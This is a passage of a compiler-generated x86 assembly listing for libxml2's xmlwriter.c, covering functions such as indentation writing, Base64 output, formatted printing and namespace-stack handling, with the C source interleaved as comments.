; 4733 : return sum;
mov eax, edi
pop edi
; 4734 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN19@xmlTextWri:
pop edi
pop esi
or eax, -1
pop ebx
mov esp, ebp
pop ebp
ret 0
npad 3
$LN23@xmlTextWri:
DD $LN7@xmlTextWri
DD $LN9@xmlTextWri
DD $LN10@xmlTextWri
DD $LN11@xmlTextWri
DD $LN12@xmlTextWri
DD $LN13@xmlTextWri
DD $LN15@xmlTextWri
$LN20@xmlTextWri:
DB 0
DB 6
DB 6
DB 1
DB 6
DB 6
DB 2
DB 6
DB 3
DB 6
DB 4
DB 6
DB 5
DB 6
DB 5
_xmlTextWriterHandleStateDependencies ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteIndent
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_xmlTextWriterWriteIndent PROC ; COMDAT
; 4643 : {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov ebx, DWORD PTR _writer$[ebp]
push DWORD PTR [ebx+4]
call _xmlListSize
add esp, 4
cmp eax, 1
jl SHORT $LN9@xmlTextWri
; 4644 : int lksize;
; 4645 : int i;
; 4646 : int ret;
; 4647 :
; 4648 : lksize = xmlListSize(writer->nodes);
; 4649 : if (lksize < 1)
; 4650 : return (-1); /* list is empty */
; 4651 : for (i = 0; i < (lksize - 1); i++) {
lea edi, DWORD PTR [eax-1]
xor esi, esi
test edi, edi
jle SHORT $LN3@xmlTextWri
npad 4
$LL4@xmlTextWri:
; 4652 : ret = xmlOutputBufferWriteString(writer->out,
push DWORD PTR [ebx+24]
push DWORD PTR [ebx]
call _xmlOutputBufferWriteString
add esp, 8
; 4653 : (const char *) writer->ichar);
; 4654 : if (ret == -1)
cmp eax, -1
je SHORT $LN9@xmlTextWri
; 4644 : int lksize;
; 4645 : int i;
; 4646 : int ret;
; 4647 :
; 4648 : lksize = xmlListSize(writer->nodes);
; 4649 : if (lksize < 1)
; 4650 : return (-1); /* list is empty */
; 4651 : for (i = 0; i < (lksize - 1); i++) {
inc esi
cmp esi, edi
jl SHORT $LL4@xmlTextWri
$LN3@xmlTextWri:
; 4655 : return (-1);
; 4656 : }
; 4657 :
; 4658 : return (lksize - 1);
mov eax, edi
pop edi
; 4659 : }
pop esi
pop ebx
pop ebp
ret 0
$LN9@xmlTextWri:
pop edi
pop esi
or eax, -1
pop ebx
pop ebp
ret 0
_xmlTextWriterWriteIndent ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterStartDocumentCallback
_TEXT SEGMENT
_ctx$ = 8 ; size = 4
_xmlTextWriterStartDocumentCallback PROC ; COMDAT
; 4510 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctx$[ebp]
cmp DWORD PTR [esi+32], 0
je SHORT $LN2@xmlTextWri
; 4511 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx;
; 4512 : xmlDocPtr doc;
; 4513 :
; 4514 : if (ctxt->html) {
; 4515 : #ifdef LIBXML_HTML_ENABLED
; 4516 : if (ctxt->myDoc == NULL)
mov eax, DWORD PTR [esi+8]
test eax, eax
jne $LN10@xmlTextWri
; 4517 : ctxt->myDoc = htmlNewDocNoDtD(NULL, NULL);
push eax
push eax
call _htmlNewDocNoDtD
add esp, 8
mov DWORD PTR [esi+8], eax
; 4518 : if (ctxt->myDoc == NULL) {
test eax, eax
jne SHORT $LN10@xmlTextWri
; 4539 : if (doc != NULL) {
jmp SHORT $LN21@xmlTextWri
$LN2@xmlTextWri:
; 4519 : if ((ctxt->sax != NULL) && (ctxt->sax->error != NULL))
; 4520 : ctxt->sax->error(ctxt->userData,
; 4521 : "SAX.startDocument(): out of memory\n");
; 4522 : ctxt->errNo = XML_ERR_NO_MEMORY;
; 4523 : ctxt->instate = XML_PARSER_EOF;
; 4524 : ctxt->disableSAX = 1;
; 4525 : return;
; 4526 : }
; 4527 : #else
; 4528 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR,
; 4529 : "libxml2 built without HTML support\n");
; 4530 : ctxt->errNo = XML_ERR_INTERNAL_ERROR;
; 4531 : ctxt->instate = XML_PARSER_EOF;
; 4532 : ctxt->disableSAX = 1;
; 4533 : return;
; 4534 : #endif
; 4535 : } else {
; 4536 : doc = ctxt->myDoc;
mov edi, DWORD PTR [esi+8]
; 4537 : if (doc == NULL)
test edi, edi
jne SHORT $LN17@xmlTextWri
; 4538 : doc = ctxt->myDoc = xmlNewDoc(ctxt->version);
push DWORD PTR [esi+20]
call _xmlNewDoc
mov edi, eax
add esp, 4
mov DWORD PTR [esi+8], edi
; 4539 : if (doc != NULL) {
test edi, edi
jne SHORT $LN17@xmlTextWri
$LN21@xmlTextWri:
; 4546 : }
; 4547 : } else {
; 4548 : if ((ctxt->sax != NULL) && (ctxt->sax->error != NULL))
; 4549 : ctxt->sax->error(ctxt->userData,
; 4550 : "SAX.startDocument(): out of memory\n");
; 4551 : ctxt->errNo = XML_ERR_NO_MEMORY;
mov eax, DWORD PTR [esi]
test eax, eax
je SHORT $LN13@xmlTextWri
mov eax, DWORD PTR [eax+88]
test eax, eax
je SHORT $LN13@xmlTextWri
push OFFSET ??_C@_0CE@EPNLGKMK@SAX?4startDocument?$CI?$CJ?3?5out?5of?5mem@
push DWORD PTR [esi+4]
call eax
add esp, 8
$LN13@xmlTextWri:
pop edi
mov DWORD PTR [esi+84], 2
; 4552 : ctxt->instate = XML_PARSER_EOF;
mov DWORD PTR [esi+172], -1
; 4553 : ctxt->disableSAX = 1;
mov DWORD PTR [esi+212], 1
; 4563 : xmlStrdup((const xmlChar *) ctxt->input->filename);
; 4564 : }
; 4565 : }
pop esi
pop ebp
ret 0
$LN17@xmlTextWri:
; 4540 : if (doc->children == NULL) {
cmp DWORD PTR [edi+12], 0
jne SHORT $LN10@xmlTextWri
; 4541 : if (ctxt->encoding != NULL)
mov eax, DWORD PTR [esi+24]
test eax, eax
je SHORT $LN11@xmlTextWri
; 4542 : doc->encoding = xmlStrdup(ctxt->encoding);
push eax
call _xmlStrdup
add esp, 4
jmp SHORT $LN12@xmlTextWri
$LN11@xmlTextWri:
; 4543 : else
; 4544 : doc->encoding = NULL;
xor eax, eax
$LN12@xmlTextWri:
; 4545 : doc->standalone = ctxt->standalone;
mov DWORD PTR [edi+60], eax
mov eax, DWORD PTR [esi+28]
mov DWORD PTR [edi+40], eax
$LN10@xmlTextWri:
; 4554 : return;
; 4555 : }
; 4556 : }
; 4557 : if ((ctxt->myDoc != NULL) && (ctxt->myDoc->URL == NULL) &&
; 4558 : (ctxt->input != NULL) && (ctxt->input->filename != NULL)) {
mov eax, DWORD PTR [esi+8]
test eax, eax
je SHORT $LN15@xmlTextWri
cmp DWORD PTR [eax+72], 0
jne SHORT $LN15@xmlTextWri
mov eax, DWORD PTR [esi+36]
test eax, eax
je SHORT $LN15@xmlTextWri
mov eax, DWORD PTR [eax+4]
test eax, eax
je SHORT $LN15@xmlTextWri
; 4559 : ctxt->myDoc->URL =
push eax
call _xmlCanonicPath
mov ecx, DWORD PTR [esi+8]
add esp, 4
mov DWORD PTR [ecx+72], eax
; 4560 : xmlCanonicPath((const xmlChar *) ctxt->input->filename);
; 4561 : if (ctxt->myDoc->URL == NULL)
mov eax, DWORD PTR [esi+8]
cmp DWORD PTR [eax+72], 0
jne SHORT $LN15@xmlTextWri
; 4562 : ctxt->myDoc->URL =
mov eax, DWORD PTR [esi+36]
push DWORD PTR [eax+4]
call _xmlStrdup
mov ecx, DWORD PTR [esi+8]
add esp, 4
mov DWORD PTR [ecx+72], eax
$LN15@xmlTextWri:
; 4563 : xmlStrdup((const xmlChar *) ctxt->input->filename);
; 4564 : }
; 4565 : }
pop edi
pop esi
pop ebp
ret 0
_xmlTextWriterStartDocumentCallback ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlOutputBufferWriteBase64
_TEXT SEGMENT
_linelen$1$ = -16 ; size = 4
_sum$1$ = -12 ; size = 4
_ogroup$1 = -8 ; size = 4
_igroup$2 = -4 ; size = 3
_out$ = 8 ; size = 4
_len$ = 12 ; size = 4
_data$ = 16 ; size = 4
_xmlOutputBufferWriteBase64 PROC ; COMDAT
; 1543 : {
push ebp
mov ebp, esp
sub esp, 16 ; 00000010H
mov ecx, OFFSET __DA396148_xmlwriter@c
push ebx
push esi
push edi
call @__CheckForDebuggerJustMyCode@4
cmp DWORD PTR _out$[ebp], 0
je $LN8@xmlOutputB
; 1544 : static unsigned char dtable[64] =
; 1545 : {'A','B','C','D','E','F','G','H','I','J','K','L','M',
; 1546 : 'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
; 1547 : 'a','b','c','d','e','f','g','h','i','j','k','l','m',
; 1548 : 'n','o','p','q','r','s','t','u','v','w','x','y','z',
; 1549 : '0','1','2','3','4','5','6','7','8','9','+','/'};
; 1550 :
; 1551 : int i;
; 1552 : int linelen;
; 1553 : int count;
; 1554 : int sum;
; 1555 :
; 1556 : if ((out == NULL) || (len < 0) || (data == NULL))
mov ebx, DWORD PTR _len$[ebp]
test ebx, ebx
js $LN8@xmlOutputB
cmp DWORD PTR _data$[ebp], 0
je $LN8@xmlOutputB
; 1557 : return(-1);
; 1558 :
; 1559 : linelen = 0;
; 1560 : sum = 0;
xor esi, esi
mov DWORD PTR _linelen$1$[ebp], 0
mov DWORD PTR _sum$1$[ebp], esi
; 1561 :
; 1562 : i = 0;
xor edi, edi
$LL2@xmlOutputB:
; 1563 : while (1) {
; 1564 : unsigned char igroup[3];
; 1565 : unsigned char ogroup[4];
; 1566 : int c;
; 1567 : int n;
; 1568 :
; 1569 : igroup[0] = igroup[1] = igroup[2] = 0;
; 1570 : for (n = 0; n < 3 && i < len; n++, i++) {
mov esi, DWORD PTR _data$[ebp]
xor eax, eax
mov WORD PTR _igroup$2[ebp+1], 0
mov BYTE PTR _igroup$2[ebp], 0
npad 1
$LL6@xmlOutputB:
cmp edi, ebx
jge SHORT $LN5@xmlOutputB
; 1571 : c = data[i];
; 1572 : igroup[n] = (unsigned char) c;
mov cl, BYTE PTR [edi+esi]
inc edi
mov BYTE PTR _igroup$2[ebp+eax], cl
inc eax
cmp eax, 3
jl SHORT $LL6@xmlOutputB
$LN5@xmlOutputB:
; 1573 : }
; 1574 :
; 1575 : if (n > 0) {
mov esi, DWORD PTR _sum$1$[ebp]
test eax, eax
jle $LN9@xmlOutputB
; 1576 : ogroup[0] = dtable[igroup[0] >> 2];
movzx edx, BYTE PTR _igroup$2[ebp]
; 1577 : ogroup[1] = dtable[((igroup[0] & 3) << 4) | (igroup[1] >> 4)];
movzx esi, BYTE PTR _igroup$2[ebp+1]
mov ecx, edx
shr ecx, 2
and edx, 3
shl edx, 4
mov cl, BYTE PTR ?dtable@?1??xmlOutputBufferWriteBase64@@9@9[ecx]
mov BYTE PTR _ogroup$1[ebp], cl
mov ecx, esi
shr ecx, 4
; 1578 : ogroup[2] =
and esi, 15 ; 0000000fH
or ecx, edx
shl esi, 2
movzx edx, BYTE PTR _igroup$2[ebp+2]
mov cl, BYTE PTR ?dtable@?1??xmlOutputBufferWriteBase64@@9@9[ecx]
mov BYTE PTR _ogroup$1[ebp+1], cl
mov ecx, edx
shr ecx, 6
; 1579 : dtable[((igroup[1] & 0xF) << 2) | (igroup[2] >> 6)];
; 1580 : ogroup[3] = dtable[igroup[2] & 0x3F];
and edx, 63 ; 0000003fH
or ecx, esi
mov ch, BYTE PTR ?dtable@?1??xmlOutputBufferWriteBase64@@9@9[ecx]
mov cl, BYTE PTR ?dtable@?1??xmlOutputBufferWriteBase64@@9@9[edx]
mov BYTE PTR _ogroup$1[ebp+2], ch
mov BYTE PTR _ogroup$1[ebp+3], cl
; 1581 :
; 1582 : if (n < 3) {
cmp eax, 3
jge SHORT $LN11@xmlOutputB
; 1583 : ogroup[3] = '=';
; 1584 : if (n < 2) {
cmp eax, 2
movzx ecx, ch
mov eax, 61 ; 0000003dH
mov BYTE PTR _ogroup$1[ebp+3], 61 ; 0000003dH
cmovl ecx, eax
mov BYTE PTR _ogroup$1[ebp+2], cl
$LN11@xmlOutputB:
; 1585 : ogroup[2] = '=';
; 1586 : }
; 1587 : }
; 1588 :
; 1589 : if (linelen >= B64LINELEN) {
cmp DWORD PTR _linelen$1$[ebp], 72 ; 00000048H
jl SHORT $LN27@xmlOutputB
; 1590 : count = xmlOutputBufferWrite(out, 2, B64CRLF);
push OFFSET ??_C@_02PCIJFNDE@?$AN?6@
push 2
push DWORD PTR _out$[ebp]
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 1591 : if (count == -1)
cmp eax, -1
je SHORT $LN8@xmlOutputB
; 1592 : return -1;
; 1593 : sum += count;
mov esi, DWORD PTR _sum$1$[ebp]
add esi, eax
; 1594 : linelen = 0;
mov DWORD PTR _linelen$1$[ebp], 0
jmp SHORT $LN12@xmlOutputB
$LN27@xmlOutputB:
; 1585 : ogroup[2] = '=';
; 1586 : }
; 1587 : }
; 1588 :
; 1589 : if (linelen >= B64LINELEN) {
mov esi, DWORD PTR _sum$1$[ebp]
$LN12@xmlOutputB:
; 1595 : }
; 1596 : count = xmlOutputBufferWrite(out, 4, (const char *) ogroup);
lea eax, DWORD PTR _ogroup$1[ebp]
push eax
push 4
push DWORD PTR _out$[ebp]
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 1597 : if (count == -1)
cmp eax, -1
je SHORT $LN8@xmlOutputB
; 1598 : return -1;
; 1599 : sum += count;
add esi, eax
; 1600 :
; 1601 : linelen += 4;
add DWORD PTR _linelen$1$[ebp], 4
mov DWORD PTR _sum$1$[ebp], esi
$LN9@xmlOutputB:
; 1602 : }
; 1603 :
; 1604 : if (i >= len)
cmp edi, ebx
jl $LL2@xmlOutputB
; 1605 : break;
; 1606 : }
; 1607 :
; 1608 : return sum;
pop edi
mov eax, esi
; 1609 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN8@xmlOutputB:
pop edi
pop esi
or eax, -1
pop ebx
mov esp, ebp
pop ebp
ret 0
_xmlOutputBufferWriteBase64 ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; File c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\stdio.h
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterVSprintf
_TEXT SEGMENT
_format$ = 8 ; size = 4
_argptr$ = 12 ; size = 4
_xmlTextWriterVSprintf PROC ; COMDAT
; 4469 : {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, 512 ; 00000200H
push esi
call DWORD PTR _xmlMalloc
mov edi, eax
add esp, 4
test edi, edi
je SHORT $LN20@xmlTextWri
mov ebx, DWORD PTR _argptr$[ebp]
$LL2@xmlTextWri:
; File c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\stdio.h
; 1440 : int const _Result = __stdio_common_vsprintf(
call ___local_stdio_printf_options
push ebx
push 0
push DWORD PTR _format$[ebp]
mov ecx, DWORD PTR [eax]
push esi
push edi
push DWORD PTR [eax+4]
or ecx, 2
push ecx
call DWORD PTR __imp____stdio_common_vsprintf
add esp, 28 ; 0000001cH
; 1441 : _CRT_INTERNAL_LOCAL_PRINTF_OPTIONS | _CRT_INTERNAL_PRINTF_STANDARD_SNPRINTF_BEHAVIOR,
; 1442 : _Buffer, _BufferCount, _Format, NULL, _ArgList);
; 1443 :
; 1444 : return _Result < 0 ? -1 : _Result;
mov ecx, -1
test eax, eax
cmovs eax, ecx
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; 4485 : || (count == size - 1) || (count == size) || (count > size)) {
test eax, eax
js SHORT $LN5@xmlTextWri
lea ecx, DWORD PTR [esi-1]
cmp eax, ecx
je SHORT $LN5@xmlTextWri
cmp eax, esi
je SHORT $LN5@xmlTextWri
jle SHORT $LN3@xmlTextWri
$LN5@xmlTextWri:
; 4486 : va_end(locarg);
; 4487 : xmlFree(buf);
push edi
call DWORD PTR _xmlFree
; 4488 : size += BUFSIZ;
add esi, 512 ; 00000200H
; 4489 : buf = (xmlChar *) xmlMalloc(size);
push esi
call DWORD PTR _xmlMalloc
mov edi, eax
add esp, 8
; 4490 : if (buf == NULL) {
test edi, edi
jne SHORT $LL2@xmlTextWri
$LN20@xmlTextWri:
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push OFFSET ??_C@_0CI@EEFGHMNP@xmlTextWriterVSprintf?5?3?5out?5of?5@
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 3
push 2
push 25 ; 00000019H
push 0
push 0
push 0
push 0
push 0
call ___xmlRaiseError
add esp, 68 ; 00000044H
; 4491 : xmlWriterErrMsg(NULL, XML_ERR_NO_MEMORY,
; 4492 : "xmlTextWriterVSprintf : out of memory!\n");
; 4493 : return NULL;
xor eax, eax
pop edi
; 4500 : }
pop esi
pop ebx
pop ebp
ret 0
$LN3@xmlTextWri:
; 4494 : }
; 4495 : VA_COPY(locarg, argptr);
; 4496 : }
; 4497 : va_end(locarg);
; 4498 :
; 4499 : return buf;
mov eax, edi
pop edi
; 4500 : }
pop esi
pop ebx
pop ebp
ret 0
_xmlTextWriterVSprintf ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterCloseDocCallback
_TEXT SEGMENT
_context$ = 8 ; size = 4
_xmlTextWriterCloseDocCallback PROC ; COMDAT
; 4444 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
push 1
push 0
push 0
push DWORD PTR _context$[ebp]
call _xmlParseChunk
add esp, 16 ; 00000010H
test eax, eax
je SHORT $LN2@xmlTextWri
; 165 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push eax
push OFFSET ??_C@_0DA@LOAGMMIC@xmlTextWriterCloseDocCallback?5?3@
push 0
push eax
push 0
push 0
push 0
push 0
push 0
push 3
push 1
push 25 ; 00000019H
push 0
push 0
push 0
push 0
push 0
call ___xmlRaiseError
add esp, 68 ; 00000044H
; 4445 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) context;
; 4446 : int rc;
; 4447 :
; 4448 : if ((rc = xmlParseChunk(ctxt, NULL, 0, 1)) != 0) {
; 4449 : xmlWriterErrMsgInt(NULL, XML_ERR_INTERNAL_ERROR,
; 4450 : "xmlTextWriterCloseDocCallback : XML error %d !\n",
; 4451 : rc);
; 4452 : return -1;
or eax, -1
; 4456 : }
pop ebp
ret 0
$LN2@xmlTextWri:
; 4453 : }
; 4454 :
; 4455 : return 0;
xor eax, eax
; 4456 : }
pop ebp
ret 0
_xmlTextWriterCloseDocCallback ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteDocCallback
_TEXT SEGMENT
_context$ = 8 ; size = 4
_str$ = 12 ; size = 4
_len$ = 16 ; size = 4
_xmlTextWriterWriteDocCallback PROC ; COMDAT
; 4420 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
push 0
push DWORD PTR _len$[ebp]
push DWORD PTR _str$[ebp]
push DWORD PTR _context$[ebp]
call _xmlParseChunk
add esp, 16 ; 00000010H
test eax, eax
je SHORT $LN2@xmlTextWri
; 165 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push eax
push OFFSET ??_C@_0DA@HGAENLDC@xmlTextWriterWriteDocCallback?5?3@
push 0
push eax
push 0
push 0
push 0
push 0
push 0
push 3
push 1
push 25 ; 00000019H
push 0
push 0
push 0
push 0
push 0
call ___xmlRaiseError
add esp, 68 ; 00000044H
; 4421 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) context;
; 4422 : int rc;
; 4423 :
; 4424 : if ((rc = xmlParseChunk(ctxt, str, len, 0)) != 0) {
; 4425 : xmlWriterErrMsgInt(NULL, XML_ERR_INTERNAL_ERROR,
; 4426 : "xmlTextWriterWriteDocCallback : XML error %d !\n",
; 4427 : rc);
; 4428 : return -1;
or eax, -1
; 4432 : }
pop ebp
ret 0
$LN2@xmlTextWri:
; 4429 : }
; 4430 :
; 4431 : return len;
mov eax, DWORD PTR _len$[ebp]
; 4432 : }
pop ebp
ret 0
_xmlTextWriterWriteDocCallback ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlCmpTextWriterNsStackEntry
_TEXT SEGMENT
_data0$ = 8 ; size = 4
_data1$ = 12 ; size = 4
_xmlCmpTextWriterNsStackEntry PROC ; COMDAT
; 4383 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _data0$[ebp]
mov edi, DWORD PTR _data1$[ebp]
cmp esi, edi
jne SHORT $LN2@xmlCmpText
; 4384 : xmlTextWriterNsStackEntry *p0;
; 4385 : xmlTextWriterNsStackEntry *p1;
; 4386 : int rc;
; 4387 :
; 4388 : if (data0 == data1)
; 4389 : return 0;
pop edi
xor eax, eax
; 4403 : rc = -1;
; 4404 :
; 4405 : return rc;
; 4406 : }
pop esi
pop ebp
ret 0
$LN2@xmlCmpText:
; 4390 :
; 4391 : if (data0 == 0)
test esi, esi
je SHORT $LN6@xmlCmpText
; 4392 : return -1;
; 4393 :
; 4394 : if (data1 == 0)
test edi, edi
jne SHORT $LN4@xmlCmpText
; 4395 : return 1;
lea eax, DWORD PTR [edi+1]
pop edi
; 4403 : rc = -1;
; 4404 :
; 4405 : return rc;
; 4406 : }
pop esi
pop ebp
ret 0
$LN4@xmlCmpText:
; 4396 :
; 4397 : p0 = (xmlTextWriterNsStackEntry *) data0;
; 4398 : p1 = (xmlTextWriterNsStackEntry *) data1;
; 4399 :
; 4400 : rc = xmlStrcmp(p0->prefix, p1->prefix);
push DWORD PTR [edi]
push DWORD PTR [esi]
call _xmlStrcmp
add esp, 8
; 4401 :
; 4402 : if ((rc != 0) || (p0->elem != p1->elem))
test eax, eax
jne SHORT $LN6@xmlCmpText
mov ecx, DWORD PTR [esi+8]
cmp ecx, DWORD PTR [edi+8]
je SHORT $LN1@xmlCmpText
$LN6@xmlCmpText:
; 4403 : rc = -1;
; 4404 :
; 4405 : return rc;
; 4406 : }
or eax, -1
$LN1@xmlCmpText:
pop edi
pop esi
pop ebp
ret 0
_xmlCmpTextWriterNsStackEntry ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlFreeTextWriterNsStackEntry
_TEXT SEGMENT
_lk$ = 8 ; size = 4
_xmlFreeTextWriterNsStackEntry PROC ; COMDAT
; 4357 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
push DWORD PTR _lk$[ebp]
call _xmlLinkGetData
mov esi, eax
add esp, 4
test esi, esi
je SHORT $LN1@xmlFreeTex
; 4358 : xmlTextWriterNsStackEntry *p;
; 4359 :
; 4360 : p = (xmlTextWriterNsStackEntry *) xmlLinkGetData(lk);
; 4361 : if (p == 0)
; 4362 : return;
; 4363 :
; 4364 : if (p->prefix != 0)
mov eax, DWORD PTR [esi]
test eax, eax
je SHORT $LN3@xmlFreeTex
; 4365 : xmlFree(p->prefix);
push eax
call DWORD PTR _xmlFree
add esp, 4
$LN3@xmlFreeTex:
; 4366 : if (p->uri != 0)
mov eax, DWORD PTR [esi+4]
test eax, eax
je SHORT $LN4@xmlFreeTex
; 4367 : xmlFree(p->uri);
push eax
call DWORD PTR _xmlFree
add esp, 4
$LN4@xmlFreeTex:
; 4368 :
; 4369 : xmlFree(p);
push esi
call DWORD PTR _xmlFree
add esp, 4
$LN1@xmlFreeTex:
pop esi
; 4370 : }
pop ebp
ret 0
_xmlFreeTextWriterNsStackEntry ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterOutputNSDecl
_TEXT SEGMENT
_sum$1$ = -4 ; size = 4
_namespaceURI$1$ = 8 ; size = 4
_writer$ = 8 ; size = 4
_xmlTextWriterOutputNSDecl PROC ; COMDAT
; 4312 : {
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _writer$[ebp]
xor ebx, ebx
mov DWORD PTR _sum$1$[ebp], ebx
push DWORD PTR [edi+8]
call _xmlListEmpty
add esp, 4
test eax, eax
jne $LN62@xmlTextWri
npad 4
$LL2@xmlTextWri:
; 4320 : xmlChar *namespaceURI = NULL;
; 4321 : xmlChar *prefix = NULL;
; 4322 :
; 4323 : lk = xmlListFront(writer->nsstack);
push DWORD PTR [edi+8]
mov DWORD PTR _namespaceURI$1$[ebp], 0
xor ebx, ebx
call _xmlListFront
; 4324 : np = (xmlTextWriterNsStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
mov esi, eax
add esp, 8
; 4325 :
; 4326 : if (np != 0) {
test esi, esi
je SHORT $LN4@xmlTextWri
; 4327 : namespaceURI = xmlStrdup(np->uri);
push DWORD PTR [esi+4]
call _xmlStrdup
; 4328 : prefix = xmlStrdup(np->prefix);
push DWORD PTR [esi]
mov DWORD PTR _namespaceURI$1$[ebp], eax
call _xmlStrdup
add esp, 8
mov ebx, eax
$LN4@xmlTextWri:
; 4329 : }
; 4330 :
; 4331 : xmlListPopFront(writer->nsstack);
push DWORD PTR [edi+8]
call _xmlListPopFront
add esp, 4
; 4332 :
; 4333 : if (np != 0) {
test esi, esi
je $LN63@xmlTextWri
; 2032 : count = xmlTextWriterStartAttribute(writer, name);
push ebx
push edi
call _xmlTextWriterStartAttribute
mov esi, eax
add esp, 8
; 2033 : if (count < 0)
test esi, esi
js SHORT $LN61@xmlTextWri
; 2034 : return -1;
; 2035 : sum += count;
; 2036 : count = xmlTextWriterWriteString(writer, content);
push DWORD PTR _namespaceURI$1$[ebp]
push edi
call _xmlTextWriterWriteString
add esp, 8
; 2037 : if (count < 0)
test eax, eax
js SHORT $LN61@xmlTextWri
; 1927 : lk = xmlListFront(writer->nodes);
push DWORD PTR [edi+4]
; 2039 : sum += count;
add esi, eax
; 1927 : lk = xmlListFront(writer->nodes);
call _xmlListFront
add esp, 4
; 1928 : if (lk == 0) {
test eax, eax
je SHORT $LN61@xmlTextWri
; 1929 : return -1;
; 1930 : }
; 1931 :
; 1932 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
mov ecx, eax
add esp, 4
; 1933 : if (p == 0) {
test ecx, ecx
je SHORT $LN61@xmlTextWri
; 1934 : return -1;
; 1935 : }
; 1936 :
; 1937 : sum = 0;
; 1938 : switch (p->state) {
mov eax, DWORD PTR [ecx+4]
sub eax, 2
jne SHORT $LN61@xmlTextWri
; 1939 : case XML_TEXTWRITER_ATTRIBUTE:
; 1940 : p->state = XML_TEXTWRITER_NAME;
; 1941 :
; 1942 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
lea eax, DWORD PTR [edi+28]
mov DWORD PTR [ecx+4], 1
push eax
push 1
push DWORD PTR [edi]
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 1943 : if (count < 0) {
test eax, eax
js SHORT $LN61@xmlTextWri
; 2045 : return sum;
add esi, eax
jmp SHORT $LN8@xmlTextWri
$LN61@xmlTextWri:
; 4334 : count = xmlTextWriterWriteAttribute(writer, prefix, namespaceURI);
; 4335 : xmlFree(namespaceURI);
or esi, -1
$LN8@xmlTextWri:
push DWORD PTR _namespaceURI$1$[ebp]
call DWORD PTR _xmlFree
; 4336 : xmlFree(prefix);
push ebx
call DWORD PTR _xmlFree
add esp, 8
; 4337 :
; 4338 : if (count < 0) {
test esi, esi
js SHORT $LN58@xmlTextWri
; 4342 : }
; 4343 : sum += count;
mov ebx, DWORD PTR _sum$1$[ebp]
add ebx, esi
mov DWORD PTR _sum$1$[ebp], ebx
jmp SHORT $LN5@xmlTextWri
$LN63@xmlTextWri:
; 4332 :
; 4333 : if (np != 0) {
mov ebx, DWORD PTR _sum$1$[ebp]
$LN5@xmlTextWri:
